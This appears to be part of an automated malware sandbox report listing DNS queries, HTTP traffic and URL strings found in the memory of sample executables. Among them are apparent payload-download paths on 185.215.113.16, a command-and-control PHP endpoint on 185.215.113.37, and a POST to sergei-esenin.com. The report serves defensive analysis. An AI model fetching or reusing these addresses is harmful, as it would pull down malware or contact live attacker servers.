Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: www.facebook.com
Source: global traffic DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic DNS traffic detected: DNS query: www.reddit.com
Source: global traffic DNS traffic detected: DNS query: twitter.com
Source: global traffic DNS traffic detected: DNS query: reddit.map.fastly.net
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:57:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTmREaCqtlG10HKFVl0FOti8HEGgILy2ICdPZ%2F%2FQ347zEVk1SU25hPC%2FcaHxd42JqAWts2KBhXIbXx3%2FtfpxYpcdRT9Up9L9stsdHp3fFarUJzGz%2B2pWtg9YTzf7krr49dQZkQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b2ac68b32e64-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:58:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGemXCJte6w59AwDLXhvz51%2B1KbMXkr5%2F%2FeHEDtSIPv4eB0%2FxiIA8b2x7BcnBpbYy1h2iKTiiEBugkSSXVFAphgMMgY1F0YlJ9U0Nvyoyay84u8tHztbumIkSF3btMemEoTlAw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b4562ae0a921-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:58:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8OXDBMMDI342U62NXFBJbCUdvFRTFIn39gEqYqyxWGtbDbrKviCfzGyTLm7iLojcCjhxuoi4es4PKQZ3NvfZWpc1pLhMzaYydNVlhORNMxLQO%2Fz4%2FlblRg86cmGGR%2BE2%2Bkl5yA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b4b76fba45ea-DFW
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:59:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l29P38fQfuq1ExIQWEh0o6%2FufqGCFc5Qy4BvDMRsLwwPGId4flMXzoWTVKSe5sNainzuErubMkyOVqQu%2FX4KqbF7gX0hx5OAQz7tfjO6sktK5P0UXabEOuUBmzE0jlMsvk%2FuBw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76b5859a766c04-DFW
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: 3f779c1cca.exe, 0000000B.00000003.3117158096.0000000001211000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/5.
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/c.
Source: 3f779c1cca.exe, 0000000B.00000003.3117158096.0000000001211000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/k
Source: file.exe, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe%
Source: 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exeF
Source: 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exeor
Source: file.exe, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeh
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exek
Source: file.exe, file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeE
Source: file.exe, 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559512711.00000000016AB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeo
Source: 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exev
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/C
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/J
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/LMEM0
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: 994a9a760e.exe, 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.b
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: num.exe, 0000001F.00000002.3117634363.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3226332079.0000000000729000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpC
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpEs
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpIcu
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpO
Source: 994a9a760e.exe, 00000020.00000002.3226332079.000000000070E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpU
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpindows
Source: num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpm
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phps
Source: 994a9a760e.exe, 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/oI)
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/q~
Source: num.exe, 0000001F.00000002.3117634363.0000000000D73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/ta
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015D8000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.000000000142D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/ws
Source: num.exe, 0000001F.00000002.3117634363.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37/z
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.379
Source: num.exe, 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37B
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37e
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.37x
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000031.00000003.3268210586.000001F87F462000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000031.00000003.3268210586.000001F87F462000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressionsd
Source: firefox.exe, 00000031.00000003.3269149616.000001F87F426000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000003.3160352065.000002AE095A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3198675440.000002AE0D249000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3148492638.000002AE089CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3148492638.000002AE089DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3299369547.000001F810ADB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3332203094.000001F8164F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3323794501.000001F816099000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3312905561.000001F87FBF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287869534.000001F80F074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286804306.000001F80F057000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3286327622.000001F80F0AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.google.com
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3292915294.000001F80DAEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3292915294.000001F80DAF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3284315573.000001F80D7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3283275092.000001F80D763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3285943218.000001F80F0C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3272420700.000001F80B1DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: firefox.exe, 00000023.00000002.3207983083.00000229087E0000.00000004.08000000.00040000.00000000.sdmp, mozilla-temp-41.28.dr String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
